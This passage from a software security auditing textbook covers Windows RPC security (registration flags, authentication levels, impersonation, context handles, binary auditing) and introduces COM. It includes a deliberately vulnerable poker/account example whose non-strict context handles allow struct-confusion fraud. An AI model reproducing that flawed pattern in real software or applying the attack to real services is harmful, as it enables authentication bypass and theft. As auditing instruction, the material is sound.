        UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, 

        unsigned int Flags, unsigned int MaxCalls, 

        unsigned int MaxRpcSize, 

        RPC_IF_CALLBACK_FN *IfCallbackFn) 

 

This function is identical to RpcServerRegisterIfEx(), except it contains an additional 

parameter, MaxRpcSize, used to specify a maximum size in bytes for RPC messages. It 

can be especially useful for preventing buffer manipulation attacks when the message 

size is fixed or within a known range. 
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A quick glance at these three functions should make it clear that how a server is 

registered has a impact on security. For example, take a look at the following server 

registration: 

RpcServerRegisterIfEx(hSpec, NULL, NULL, 0, 20, NULL) 

 

The preceding registration has fairly relaxed security compared with this one: 

RpcServerRegisterIfEx(hSpec, NULL, NULL, 

                      RPC_IF_ALLOW_LOCAL_ONLY, 20, 

                      MyCallback) 

 

This registration allows only locally originated requests to be processed and has a 

security callback function. Of course, having a security callback function isn't enough; 

it has to perform its job. You see how this is done in "Authenticating Requests" later 

in this chapter. 

Binding to an Endpoint 

After an interface is registered with the RPC runtime, the server needs to bind to 

endpoints so that clients can contact it, which is a two-step process. The first step is 

to register protocol sequences that the server should accept connections on. These 

protocol sequences are the ones described previously in the "RPC Transports" section. 

They are bound by using the RpcServerUseProtseq() family of functions. Take a look at 

the prototype for RpcServerUseProtseq(): 

RPC_STATUS RPC_ENTRY RpcServerUseProtseq(unsigned char *ProtSeq, 

        unsigned int MaxCalls, void *SecurityDescriptor) 

 

This function causes the current process to listen for RPC requests over a specific 

protocol, so it affects all RPC servers in the current process. Each call allows you to 

specify one protocol sequence as the first parameter, so an RPC server listening on 

multiple transports needs to call this function multiple times. The protocol sequence 

functions can optionally take a security descriptor for the ncalrpc and ncan_np 

protocol sequences. This security descriptor is the most effective method of 

restricting RPC connections to a specific group of users. 

The RpcServerUseProtseqEx() functions add the capability to include a transport policy 

as part of the protocol registration. Including the transport policy allows developers to 

restrict the allocation of dynamic ports and selectively bind interfaces on multihomed 

computers. Although this level of specificity isn't required for many applications, 

certain deployment environments might necessitate it. 
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Up to this point, the RpcServerUseAllProtseqs() family of functions haven't been 

discussed. However, it's important to make note of these functions because their use 

generally presents an unnecessarily high security risk and should be reviewed closely 

when encountered. These functions bind to all available interfaces, potentially 

creating a dangerous exposure of the RPC server. In particular, they might bind to 

interfaces with insufficient access control or interfaces on hostile networks. 

Note 

Don't forget that protocol registration affects all RPC servers in the process. This 

means any servers with differing protocol security must run in different processes. 

 

The next part of binding involves registering the endpoints for each protocol sequence. 

The endpoint is protocol-specific information required for contacting the RPC server. 

For example, the TCP protocol sequence uses a TCP port for its endpoint. Endpoints 

are registered with the RpcEpRegister() function, which works as shown: 

RPC_STATUS RPC_ENTRY RpcEpRegister(RPC_IF_HANDLE IfSpec, 

        RPC_BINDING_VECTOR *BindingVector, 

        UUID_VECTOR *UuidVector, unsigned char *Annotation) 

 

This function supplies the endpoint mapper with the endpoints of an RPC interface. 

The first parameter is RPC_IF_HANDLE, mentioned in the previous section. The next two 

parameters contain vectors of binding handles and UUIDs to register with the 

endpoint mapper. 

Some utility methods simplify endpoint registration, however. The 

RpcServerUseProtseqEp() can be used to register the endpoint and protocol sequence 

in a single call. However, the easiest way to handle registration is to use the 

RpcServerUseProtseqIf() functions; they register all endpoints specified in the IDL 

file. 

Listening for Requests 

The only thing left in setting up the server is to listen for RPC requests by using the 

RpcServerListen() function. This function isn't that interesting, except it indicates 

that the server application is expecting requests from that point forward and 

potentially exposed to malicious input. All code to handle those requests is indicated 

in the previous steps of interface registration. 

Authentication 
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As you would expect, the attack surface of an RPC application depends heavily on the 

level of authentication it requires. Windows provides several different levels of 

authentication, which are layered on top of each other. This means each new level of 

authentication performs the authentication of the previous levels and adds some 

requirements. The authentication levels are listed in ascending order: 

 RPC_C_AUTHN_LEVEL_DEFAULT Default level of authentication chosen by the 

current OS settings. (This level is not additive.) 

 RPC_C_AUTHN_LEVEL_NONE No authentication; any anonymous user can access 

the service 

 RPC_C_AUTHN_LEVEL_CONNECT Authentication is done only at connection 

establishment and not for individual calls. 

 RPC_C_AUTHN_LEVEL_CALL This level specifies that users must authenticate for 

each procedure call they make. It's intended primarily for use with 

connectionless transports. 

 RPC_C_AUTHN_LEVEL_PKT This level ensures that any data received is from the 

client that originally established the connection. No data validation is 

performed, however. 

 RPC_C_AUTHN_LEVEL_PKT_INTEGRITY This level is like RPC_C_AUTHN_LEVEL_PKT, 

except it also ensures that no data has been modified en route. 

 RPC_C_AUTHN_LEVEL_PKT_PRIVACY This level does the same as 

RPC_C_AUTHN_LEVEL_PKT_INTEGRITY and uses encryption to ensure that third 

parties can't read data being transmitted. 

In addition to the authentication level performed on incoming packets, programmers 

can also select the services for authenticating clients. These authentication services 

include NTLM authentication and Kerberos. There's also the provision for no 

authentication, indicated by the RPC_C_AUTHN_NONE constant. 

Each authentication service must be registered by calling 

RpcServerRegisterAuthInfo() with the appropriate parameters for the service. For 

most applications, RPC_C_AUTHN_GSS_NEGOTIATE provides the best results, as it 

attempts to use Kerberos authentication but can downgrade to NTLM if required. You 

should be wary of any application that doesn't require at least an 

RPC_C_AUTHN_LEVEL_CONNECT authentication, using the RPC_C_AUTHN_GSS_NEGOTIATE 

service or better. 

Authenticating Requests 

You've seen how the server can restrict interfaces and provide a basic authentication 

requirement, but what about authenticating the actual calls and providing 

authorization? RPC authorization and authentication are specific to a binding. You 

know that a server can provide a DACL for a binding, which should be the foundation 

of any RPC security. However, two routines can be used in a security callback (or in a 
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call itself, for that matter) to provide detailed client authentication information from a 

binding handle. The first is as follows: 

RPC_STATUS RPC_ENTRY RpcBindingInqAuthClient( 

        RPC_BINDING_HANDLE ClientBinding, 

        RPC_AUTH_HANDLE *Privs, unsigned char **ServerPrincName, 

        unsigned long *AuthnLevel, unsigned long *AuthnSvc, 

        unsigned long *AuthsSvc) 

 

The second and third parameters of this function provide all authentication 

information associated with the client's binding handle. The remaining parameters 

cover the authentication of the client requests. When supporting the 

RPC_C_AUTHN_WINNT service, the final parameter is always RPC_C_AUTHZ_NONE. 

The RpcBindingInqAuthClient() function is superseded in Windows XP and later by 

the following function: 

RPCRTAPI RPC_STATUS RPC_ENTRY RpcServerInqCallAttributes( 

        RPC_BINDING_HANDLE ClientBinding, 

        void *RpcCallAttributes) 

 

This function meets the same requirements as RpcBindingInqAuthClient() and 

provides additional client binding information. This information is returned in the 

second parameter in the RPC_CALL_ATTRIBUTES_V2 structure. In addition to the 

authentication level and service, it indicates whether a NULL session is used, what 

protocol sequence is used, whether the client is local or remote, and a multitude of 

other useful tidbits. Note that this function isn't supported over ncacn_dg protocols, so 

the return values need to be checked to make sure the function was able to obtain the 

correct information. 

Impersonation in RPC 

RPC can impersonate authenticated clients via the same basic infrastructure as 

named pipes. Generally, it's the most effective method for accessing secure objects 

safely in the calling user's context. It allows developers to use the familiar DACL 

structure on objects and place the burden of security enforcement on the OS. An RPC 

server can impersonate a client with one of two functions: RpcImpersonateClient() 

and RpcGetAuthorizationContextForClient(). The prototypes for these functions are 

explained in the following paragraphs. 

The following function impersonates the client indicated by the binding handle: 

RPC_STATUS RPC_ENTRY RpcImpersonateClient( 
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        RPC_BINDING_HANDLE BindingHandle) 

 

The BindingHandle parameter can be 0, in which case the server impersonates the 

context of the client currently being served by the thread. This function is the primary 

mechanism used for impersonation of a client. 

The main purpose of the following function is to return an 

AUTHZ_CLIENT_CONTEXT_HANDLE structure that represents the client indicated by the 

first parameter: 

RPC_STATUS RPC_ENTRY RpcGetAuthorizationContextForClient( 

        RPC_BINDING_HANDLE ClientBinding, 

        BOOL ImpersonateOnReturn, PVOID Reserved1, 

        PLARGE_INTEGER pExpirationTime, LUID Reserved2, 

        DWORD Reserved3, PVOID Reserved4, 

        PVOID *pAuthzClientContext) 

 

Of particular interest is the ImpersonateOnReturn parameter. If it's set to true, the 

function impersonates the client indicated by the ClientBinding binding handle, just 

as though RpcImpersonateClient() has been called. 

When auditing RPC applications, you need to be aware of how clients can restrict 

servers' capability to impersonate them. Neglecting to take this step might expose a 

client's credentials to a malicious server. A client application can enforce 

impersonation restrictions on a per-binding basis with RpcBindingSetAuthInfoEx(). 

This function has the following prototype: 

RPC_STATUS RPC_ENTRY RpcBindingSetAuthInfoEx( 

        RPC_BINDING_HANDLE Binding, 

        unsigned char PAPI *ServerPrincName, 

        unsigned long AuthLevel, unsigned long AuthnSvc, 

        RPC_AUTH_IDENTITY_HANDLE AuthIdentity, 

        unsigned long AuthzSvc, RPC_SECURITY_QOS *SecurityQOS) 

 

Note the last parameter, which points to an RPC_SECURITY_QOS structure. Although 

there are several variations of this structure, depending on the version, each has an 

ImpersonationType member that indicates what level of impersonation a server can 

use with the connecting client. The legal values for this member are as follows: 

 RPC_C_IMP_LEVEL_DEFAULT Use the default impersonation level. 

 RPC_C_IMP_LEVEL_ANONYMOUS Use the SecurityAnonymous impersonation level. 

 RPC_C_IMP_LEVEL_IDENTIFY Use the SecurityIdentify impersonation level. 
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 RPC_C_IMP_LEVEL_IMPERSONATE Use the SecurityImpersonate impersonation 

level. 

 RPC_C_IMP_LEVEL_DELEGATE Use the SecurityDelegation impersonation level 

(cloaking). 

Of these values, obviously the most dangerous are RPC_C_IMP_LEVEL_IMPERSONATE and 

RPC_C_IMP_LEVEL_DELEGATE. By permitting either impersonation level, the client allows 

the server to make use of its credentials. The delegation impersonation level extends 

the server's capabilities even more than typical impersonations. It allows the server 

to authenticate across the network on behalf of the clientthat is, the server can access 

anything on the network as though it's the connected client. You should inspect any 

code using either value to ensure that impersonation is required and being used 

properly. 

Note 

If the local RPC endpoint is used (ncalrpc), RPC_C_IMP_LEVEL_IMPERSONATE and 

RPC_C_IMP_LEVEL_DELEGATE are equivalent. Even if RPC_C_IMP_LEVEL_IMPERSONATE is 

used, the server is permitted to make network accesses on behalf of the client. 

 

As with named pipes, failure to check return values of impersonation functions can 

result in an RPC request being given more privileges than it's supposed to have. In 

fact, this type of error is even more relevant in RPC because many factors can cause 

impersonation functions to fail. 

Context Handles and State 

Before you go any further, you need to see how RPC keeps state information about 

connected clients. RPC is inherently stateless, but it does provide explicit mechanisms 

for maintaining state. This state information might include session information 

retrieved from a database or information on whether a client has called procedures in 

the correct sequence. The typical RPC mechanism for maintaining state is the 

context handle, a unique token a client can supply to a server that's similar in 

function to a session ID stored in an HTTP cookie. From the server's point of view, the 

context handle is a pointer to the associated data for that client, so no special 

translation of the context handle is necessary. The server just refers to a context 

handle as though it's a void pointer. Of course, transmitting a pointer to a potentially 

malicious client would be extremely dangerous. Instead, the RPC runtime sends the 

client a unique context token and translates the token back to the original pointer 

value on receipt. Context handles aren't a mandatory part of RPC and aren't required 

to make an RPC program work. However, most RPC services require context handles 

to function properly and prevent disclosing any sensitive information to the client. 
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Context handles are useful for maintaining application state; however, they aren't 

intended for maintaining authentication state. A context handle could be exposed to 

malicious users in a variety of ways, such as by sniffing the network transport or 

through the actions of a malicious client. Another RPC interface might even reveal the 

context handle if strict context handles aren't used. This simple interface uses a 

context handle for security purposes: 

BOOL LogonUser([out] PCONTEXT_HANDLE ctx) 

BOOL LogoffUser([in] PCONTEXT_HANDLE ctx) 

BOOL GetTableList([in] PCONTEXT_HANDLE ctx, 

       [out] PTABLE_DESCRIPTOR tables) 

BOOL JoinTable([in] PCONTEXT_HANDLE ctx, [in] int table_id) 

BOOL SitOut([in] PCONTEXT_HANDLE ctx) 

BOOL SetBack([in] PCONTEXT_HANDLE ctx) 

BOOL CashIn([in] PCONTEXT_HANDLE ctx, 

       [in] PCREDIT_CARD ccDetails) 

BOOL CashOut([in] PCONTEXT_HANDLE ctx, 

       [out] PMAIL_INFO mailInfo) 

 

This interface represents a simple RPC poker game that uses a context handle to 

maintain the session. The first step in using this application is to log in. Like any 

well-behaved RPC service, this application determines the user's identity via native 

RPC authentication, but after that, it relies on the context handle. So your first 

consideration is whether that context handle can be exposed to anyone. For instance, 

most RPC interfaces don't require an encrypted channel, so attackers might be able to 

sniff the context handle over the network. After attackers have the context handle, 

they can take control of the session and steal a player's winnings. 

Strict Context Handles 

Generally, an RPC interface has no need to share a context handle with another 

interface. However, the RPC subsystem has no way of determining this implicitly. So 

the RPC service normally accepts any valid context handle, regardless of the 

originating interface. Developers can prevent this issue by using strict context 

handles defined by using the strict_context_handle attribute. A strict context handle 

is valid only for the originating interface, and the originator doesn't accept context 

handles from any other interface. 

In the poker example, context handles are used to validate authentication. If this 

interface fails to use strict context handles, attackers could go to an unrelated 

interface and receive a valid context handle for the poker interface. A nonstrict 

context handle allows attackers to bypass the authentication system easily because 

the application checks credentials only in the logon method. If attackers provide a 
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handle from another interface, they have implicit access to all methods of the poker 

interface. 

Of course, the poker game probably won't do well if attackers provide a context 

handle from another interface. Effectively, they are just giving the application an 

arbitrary data structure that has no relation to what it expects. This input would 

probably cause a crash or throw some other error. However, what would happen if the 

other interface could be manipulated enough to make the arbitrary structure 

recognizable to the poker game? The following structure represents the context for 

the poker game followed by an implementation of the CashOut() function: 

// Game implementation 

struct GAME_CONTEXT { 

    long iBalance; 

    BOOLEAN isComplete; 

    HAND myHand; 

} 

 

BOOL CashOut(PCONTEXT_HANDLE ctx, PMAIL_INFO mailInfo) { 

    struct GAME_CONTEXT *game = ctx; 

 

    if (game->isComplete) { 

        DepositWinnings(game->iBalance); 

        return TRUE; 

    } 

    return FALSE; 

} 

 

... more game handling functions ... 

 

Now you need to consider another interface on the same server. Assume the poker 

game is part of a casino application that exposes a separate RPC interface for account 

management. The following code is the context structure for the account 

management interface, along with a function to update account information: 

// Account implementation 

 

struct ACCT_CONTEXT { 

    long birthDate; 

    char sName[MAX_STR]; 

    char sAcctNum[MAX_STR]; 

} 

 

void UpdateAcctInfo(PCONTEXT_HANDLE ctx, long bDate, 
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                    char *name, char *acctnum) { 

    struct ACCT_CONTEXT *acct = ctx; 

    acct->birthDate = bDate; 

    strncpy(acct->sName, name, MAX_STR - 1); 

    strncpy(acct->sAcctNum, acctnum, MAX_STR - 1); 

} 

 

... more account management functions ... 

 

This example is simple, but it should help make the vulnerability apparent. Attackers 

could use these interfaces to build an account structure with an extremely large 

balance. All that's necessary is calling the UpdateAcctInfo() function and passing a 

large value as the bDate parameter. Then attackers can call the CashOut() function on 

the poker interface. This interface pays out the amount passed as bDate in the earlier 

call because birthDate in ACCT_CONTEXT is at the same offset as iBalance in 

GAME_CONTEXT. So attackers can simply log in to the account manager interface, select 

how much money they want, and then cash out of the poker game. This example is 

contrived, but it does demonstrate the point of this attack. A real vulnerability is 

usually more complicated and has a more immediate impact. For example, a context 

handle pointing to a C++ class instance might allow attackers to overwrite vtable and 

function pointers, resulting in arbitrary code execution. 

Note 

The exact meaning and implementation of a vtable depends on the language and 

object model. However, for most purposes you can assume a vtable is simply a list of 

pointers to member functions associated with an object. 

 

One more quirk is that the other interface need not be implemented by a single 

application. It might be exposed by the OS or a third-party component. Developers 

might be unaware of what else is occurring and, therefore, consider strict context 

handles unnecessary. So you need to keep an eye out for this issue if you identify an 

interface that isn't using strict context handles, and see what functionality other 

interfaces might provide. 

Proprietary State Mechanisms 

Some application developers choose to write their own state-handling code in lieu of 

the mechanisms the RPC layer provides. These mechanisms generally exist for 

historical reasons or compatibility with other systems. As an auditor, you need to 

assess state-handling mechanisms by looking for the following vulnerabilities: 
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 Predictable (not cryptographically random) session identifiers 

 Short session identifiers vulnerable to brute-force attacks 

 Discoverable session identifiers (access control failure) 

 Session identifiers that leak sensitive information 

Generally, you'll find that custom state mechanisms fail to address at least one of 

these requirements. You might be able to use this information to identify a 

vulnerability that allows state manipulation or bypassing authentication. 

Threading in RPC 

The RPC subsystem services calls via a pool of worker threads. It's an efficient way of 

handling calls in Windows, but it does have some drawbacks. First, an RPC call can 

occur on any thread in the pool, so an RPC server can't expect any thread affinity 

between calls. This means the call should behave the same, regardless of the thread 

it's executing in. Second, an RPC call can be preempted at any time, even by another 

instance of the same call. This behavior can lead to vulnerabilities when access to 

shared resources isn't synchronized properly. Threading and concurrency issues are a 

topic of their own, however, so they are discussed in Chapter 13(? [????.]), 

"Synchronization and State." 

Auditing RPC Applications 

Now that you know the basics of RPC, you can use the following checklist as a 

guideline for performing RPC audits: 

1. Look for any other RPC servers in the same process that might expose 

protocols the developer didn't expect. 

2. If the application doesn't use strict context handles, look for any other 

interfaces that can be leveraged for an attack. 

3. Look for any proprietary state-handling mechanisms, and see whether they 

can be used for spoofing or state manipulation. 

4. Check for weaknesses in the ACLs applied to the protocol sequence. 

5. Look for authentication bypasses or spoofing attacks that are possible because 

of weak transport security. 

6. Look for authentication bypasses in custom authentication schemes, weak use 

of authentication, or the absence of authentication. 

7. Check to see whether state mechanisms are being used to maintain security 

state. If they are, try to find ways to bypass them. 

8. Audit any impersonation to see whether a client can evade it or use it to steal 

the server's credentials. 

9. Pay special attention to possible race conditions and synchronization issues 

with shared resources (discussed in more detail in Chapter 13(? [????.])). 

10. Review all exposed interfaces for general implementation vulnerabilities. If 

the IDL isn't compiled with the /robust switch and interface parameters aren't 
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restricted, you need to spend more time checking for memory corruption 

vulnerabilities. 

RPC Interface Binary Audits 

If you don't have the source code for an RPC service, you need to be able to locate 

RPC interfaces in the corresponding application binaries. This section explains a 

simple technique for locating all relevant methods in an RPC binary. 

First, recall that an RPC server registers its interfaces by using the 

RpcServerRegisterIf() and RpcServerRegisterIfEx() functions. Here's the prototype 

of the RpcServerRegisterIfEx() function: 

RPC_STATUS RPC_ENTRY RpcServerRegisterIfEx(RPC_IF_HANDLE IfSpec, 

        UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, 

        unsigned int Flags, unsigned int MaxCalls, 

        RPC_IF_CALLBACK_FN *IfCallback) 

 

The RpcServerRegisterIf() function has a similar prototype. Servers need to use one 

of these functions to indicate what methods are available. These methods are 

specified in the RPC_IF_HANDLE structure, the first argument. This structure isn't 

documented very well, but you can examine it by looking at the IDL-generated C 

server file that creates this structure. Essentially, RPC_IF_HANDLE contains only one 

member, which is a pointer to a RPC_SERVER_INTERFACE structure. This structure has 

the following format (as noted in rpcdcep.h): 

typedef struct _RPC_SERVER_INTERFACE 

{ 

    unsigned int Length; 

    RPC_SYNTAX_IDENTIFIER InterfaceId; 

    RPC_SYNTAX_IDENTIFIER TransferSyntax; 

    PRPC_DISPATCH_TABLE DispatchTable; 

    unsigned int RpcProtseqEndpointCount; 

    PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint; 

    RPC_MGR_EPV __RPC_FAR *DefaultManagerEpv; 

    void const __RPC_FAR *InterpreterInfo; 

    unsigned int Flags ; 

} RPC_SERVER_INTERFACE, __RPC_FAR * PRPC_SERVER_INTERFACE; 

 

In a typical binary, this structure looks something like this: 

 

.text:75073BD8 dword_75073BD8  dd 44h, 300F3532h, 11D038CCh, 2000F0A3h, 
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0DD0A6BAFh, 20001h 

 

.text:75073BD8                                       ; 

DATA XREF: .text:off_75073B88o 

 

.text:75073BD8                                       ; 

.data:off_7508603Co 

 

.text:75073BD8                 dd 8A885D04h, 11C91CEBh, 

8E89Fh, 6048102Bh, 2 ; Interface ID 

 

.text:75073C04                 dd offset DispatchTable 

 

.text:75073C08                 dd 3 dup(0)           ; 

RpcProtseqEndpointCount, RpcProtseqEndpoint, DefaultMgrEpv 

 

.text:75073C14                 dd offset InterpreterInfo 

 

.text:75073C18                 dd 4000001h           ; 

flags 

 

Of particular interest is the InterpreterInfo field, which points to a MIDL_SERVER_INFO 

structure defined in rpcndr.h as the following: 

typedef struct _MIDL_SERVER_INFO_ 

    { 

    PMIDL_STUB_DESC            pStubDesc; 

    const SERVER_ROUTINE *     DispatchTable; 

    PFORMAT_STRING             ProcString; 

    const unsigned short *     FmtStringOffset; 

    const STUB_THUNK *         ThunkTable; 

    PFORMAT_STRING             LocalFormatTypes; 

    PFORMAT_STRING             LocalProcString; 

    const unsigned short *     LocalFmtStringOffset; 

    } MIDL_SERVER_INFO, *PMIDL_SERVER_INFO; 

 

In a binary, the structure looks like this: 

.text:75073C1C InterpreterInfo dd offset pStubDesc   ; 

DATA XREF: .text:75073C14o 

.text:75073C20                 dd offset ServerDispatchTable 

.text:75073C24                 dd offset ProcString 

.text:75073C28                 dd offset FmtStringOffset 
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.text:75073C2C                 dd 5 dup(0) 

 

The second member, named ServerDispatchTable in this example, contains a pointer 

to a table of all exposed server routines for the interface. To find RPC server routines 

in a binary, use the following steps: 

1.  Find the import for RpcServerRegisterIf() or RpcServerRegisterIfEx() and 

cross-reference to find where it's used. 

2.  Examine the first argument; it points to a single pointer that points to an 

RPC_SERVER_INTERFACE structure. 

3.  Follow the InterpreterInfo structure member in the RPC_SERVER_INTERFACE 

structure. 

4.  Follow the DispatchTable memory in the MIDL_SERVER_INFO structure to the table 

of server routines. 

Voilà! You're done. Notice all the interesting information you pick up along the way, 

such as whether a callback function is passed to RpcServerRegisterIfEx(), endpoints 

associated with the server interface, format string information, and so on. 

 

7.8.7 COM 

The Component Object Model (COM) and Distributed Component Object Model 

(DCOM) facilities in Windows provide a framework for developing language- and 

location-independent components. These components can be created and accessed 

from within a process, between different processes on the same computer, or 

remotely over a network. 

Note 

COM has become an umbrella term that encompasses DCOM (remote COM) and other 

COM-related technologies. Previously, the term COM referred to object access and 

manipulation between different processes on the same computer; DCOM extended 

this functionality to make objects accessible over the network. Presently, they can all 

be referred to as COM technologies. 

 

COM is essentially an object-oriented wrapper for RPC; in fact, DCOM uses RPC for 

method invocation and communication. For the purposes of this discussion, COM and 

31051536.html
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DCOM are viewed more as extensions of RPC. These similarities can help you apply 

what you've already learned about RPC. 

COM: A Quick Primer 

The following sections give you a brief rundown of the COM architecture, in case you 

have limited experience with COM programming. These basics are essential to 

understanding the information that follows on potential security issues in COM 

applications. 

Components 

COM promotes the development of reusable components, much like the use of classes 

in object-oriented programs. Each component provides an interface (or several 

interfaces) that describes a series of methods for manipulating the object. In the 

context of COM, "interface" refers to a contract between COM objects and their clients. 

This contract specifies a series of methods the object implements. 

There are some major differences between a COM object and a class in an 

object-oriented program. COM objects are already precompiled and are accessible 

system-wide to any process that wants to use them. They are language independent 

and available to any application without having to be recompiled. Indeed, COM is a 

binary specification of sorts; it requires that objects export interfaces in a certain 

manner but doesn't care about the internal structure of how those objects can be 

implemented. In addition to being accessible to any language, COM objects can be 

implemented in a variety of languages; their internals are irrelevant as long as they 

adhere to their contracts. 

COM objects are uniquely identified on the system by a globally unique identifier 

(GUID) called a class ID (CLSID). When a COM object is registered on the system, it 

adds a key to the registry with the same name as the object's CLSID. This key is 

stored in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID. 

Note 

The HKEY_CLASSES_ROOT key is an alias for the 

HKEY_LOCAL_MACHINE\Software\Classes\CLSID, so the same CLSIDs can also be 

found at HKEY_CLASSES_ROOT\CLSID. 

 

These keys are installed so that the COM subsystem can locate and instantiate objects 

as they're requested. You can view registered COM objects on the system with the 

Registry Editor (regedit.exe), shown in Figure 12-2. 

Figure 12-2. Viewing COM objects with Regedit 
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[View full size image] 

 

 

As you can see, quite a few subkeys and values are installed for each CLSID; they're 

described as needed in the following discussion. 

Because CLSIDs are hard to remember and aren't meaningful to people, COM objects 

often have namesaliases that can be used to refer to the object in place of the CLSID. 

These aliases are called program IDs (ProgIDs) and are entirely optional. A program 

ID is stored in the ProgID value in the 

HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<CLSID> key. A program ID can 

have any format, but the MSDN-recommended format is Program.Component.Version. 

For example, one of the Microsoft Excel component is named Excel.Sheet.8. Of 

course, it would take a long time to look up program IDs if every CLSID key were 

queried to see whether its ProgID matches a request, so another key is used for 

forward lookups: HKEY_LOCAL_MACHINE\Software\Classes\<ProgID>. This key has 

a CLSID value that points to the ProgID's associated class. 

COM objects operate in a client/server architecture; the endpoints of a COM 

connection can be different threads in the same process, threads in different 

processes, or even on different systems. An exposed COM interface is accessed in 

much the same way an RPC function is called. In DCOM, this launching process 

includes starting applications if necessary, applying security permissions, and 

registering DCOM applications as being available on certain endpoints. 

A COM object can be an in-process server or out-of-process server. In-process 

servers are implemented in DLLs that are loaded into the client process's address 

space on instantiation. For the most part, you don't need to worry about in-process 

servers because they are in the caller's address space and security context. Of course, 

ActiveX controls represent a special case of an in-process server, and they are 

discussed in "ActiveX Security" later in this chapter. 

An out-of-process server, however, runs inside its own process space. There are two 

types of out-of-process servers: local servers on the same system as the caller and 

images/12ssa02_alt.jpg
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remote servers on another machine. Communication is performed via IPC primitives 

exposed by the COM runtime. In fact, DCOM uses RPC to transport messages behind 

the scenes. An out-of-process server can potentially run in a different context from 

the client, so it might have additional security considerations. 

Interfaces 

The whole point of COM objects is that they expose interfaces that are accessible to 

any clients that can use their functionality. A COM object can expose any number of 

interfaces, which consist of a series of functions related to the task. Each interface has 

a registered interface ID (IID) that uniquely identifies the interface. IIDs are recorded 

in the registry at HKEY_CLASSES_ROOT\Classes\Interface\<Interface ID>. 

This key contains a series of subkeys for each registered interface. As a code auditor, 

you need to examine these interfaces to see what attack surface they expose. 

Each COM interface is derived directly or indirectly from a base class called IUnknown, 

which provides a generic method of interaction with every COM object. Every COM 

object must provide an interface with the following three methods: 

 QueryInterface() Used to retrieve a pointer to a COM interface, given the IID 

of that interface 

 AddRef() Used to increment the reference count of an instantiated object 

 Release() Used to decrement the reference count of an instantiated object and 

free the object when the reference count drops to zero 

The QueryInterface() method is the real core of the IUnknown interface. It provides 

the capability to acquire instances of other interfaces the COM object supports. When 

reading COM documentation and technical manuals, you often encounter references 

to IUnknown. For example, the CoCreateInstance() function takes LPUNKNOWN type as a 

parameter, which allows the function to create an instance of any COM object because 

all COM objects are derived from IUnknown. 

Application IDs 

A collection of COM objects is referred to as a COM application or component. Each 

COM application has a unique ID, called an AppID, used to uniquely refer to a COM 

application on the system. Like CLSIDs, AppIDs are installed in the registry and 

contain a number of subkeys and values for per-application security settings. The 

AppID key provides a convenient location for enforcing security for applications 

hosting multiple COM objects. AppID keys are located in the registry at 

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppId. 

Note 
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AppID keys are also accessible at HKEY_CLASSES_ROOT\AppId. 

 

 

Mapping CLSIDs to Applications 

You've learned how to look up registered COM objects in the registry, but how do you 

find the implementation of each object? This information can also be found in the 

registry. The HKEY_LOCAL_MACHINE\Software\Classes\CLSID\<CLSID> keys have 

one or more of the following values, depending on the threading capabilities of the 

COM object. The values of interest are as follows: 

 InprocHandler32 or InprocHandler Used to indicate a handler DLL that provides 

the COM API interface; this DLL is normally ole32.dll (or ole2.dll for 16-bit 

servers). It's rare, although possible, for a COM server to specify its own 

handler. 

 InprocServer32 or InprocServer Used to indicate a server DLL that houses the 

implementation of the COM object. This value is used when the COM object is 

an in-process server. 

 LocalServer32 or LocalServer Used to indicate an executable that houses the 

implementation of the COM object. It's used when the COM object is an 

out-of-process server. 

OLE 

Object Linking and Embedding (OLE) is the predecessor to modern Windows COM. 

The original version of OLE uses DDE to allow interaction between components of 

different applications. This functionality is still part of the basic COM infrastructure, 

although it doesn't affect the discussions of DCOM. However, it's worth mentioning 

this relationship because the term "OLE" appears in many COM functions and data 

types. 

Automation Objects 

Automation objects are a special subclass of COM objects that originally provided a 

simpler form of IPC for controlling another application (referred to as an automation 

server). For example, Internet Explorer and Microsoft Word expose automation 

interfaces that allow clients to completely control the application and documents it 

contains. Automation servers generally expose scriptable methods, which are 

methods called through an IDispatch interface accepting VARIANT arguments. This 

interface is compatible with scripting languages because it doesn't use language 

specific elements such as object vtables and typed parameters. When a script invokes 

a method on an object, the scripting engine can use the IDispatch interface to ask for 

the unique ID of a method. The ID is then passed along with an array of VARIANT 

arguments via the IDispatch::Invoke() method. 
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Threading in COM 

Windows evolved from a simple single-threaded OS to a true multiuser, 

multithreaded OS. This evolution has required some scaffolding to allow older, 

thread-unsafe COM objects to function properly in multithreaded versions of Windows. 

This scaffolding is provided in the form of apartments. 

The historical version of COM is the single-threaded apartment (STA); a COM 

process can have any number of STAs, with each one running on a separate thread. 

The STA uses DDE to perform method calls on objects, thus requiring a window 

message pump to function. The advantage of using the STA is that it synchronizes all 

messages processed by the application. This synchronization makes it fairly easy to 

implement a basic single-threaded COM object. From a security perspective, an STA 

COM object presents unique concerns only if it's running in a privileged context on an 

interactive desktop. These issues have been discussed previously in the sections on 

window messaging and shatter vulnerabilities. 

The multithreaded apartment (MTA) is also referred to as the free threaded 

apartment; a COM process has at most one MTA shared across all MTA objects in the 

process. The COM subsystem makes direct use of the object vtable when dispatching 

methods in an MTA, so it doesn't require any mechanism for handling window 

messages. Of course, this means COM method calls provide no guarantee of 

sequencing or serialization for an MTA. 

A thread must set its apartment model before calling any COM functions. This is done 

by calling CoInitializeEx(), which has the following prototype: 

HRESULT CoInitializeEx(void *pReserved, DWORD dwCoInit) 

 

The dwCoInit argument dictates whether the thread enters a new STA or enters the 

process's MTA. It can take the following values: 

 COINIT_MULTITHREADED Indicates the thread enters the MTA. 

 COINIT_APARTMENTTHREADED Indicates the thread should create a new STA. 

Of course, an in-process server has no way of knowing what model its client process 

is using, so it can't rely on CoInitializeEx() for properinitialization. In this case, the 

in-process server must specify at registration what threading models it supports, 

which is done in the registry value 

HKEY_CLASSES_ROOT\Classes\<CLSID>\InprocServer32\ThreadingModel. 

The in-process server can specify one of three options in this value: 

 Apartment The STA model. 

 Free The MTA model. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 746 

 Both An STA or MTA. 

When an object is created, the COM runtime examines this registry key and tries to 

put the object in an existing MTA. If the correct apartment isn't present, COM creates 

a new one of the required type. If this value isn't present, the COM runtime assumes 

the in-process server requires the STA model. 

Threading issues come into play when more than one thread can operate on an object; 

that is, more than one thread is in the same apartment as the object. This issue 

occurs in-process when both the client and server run in an MTA; however, it can 

occur out-of-process with an MTA server accessed by more than one client of any type. 

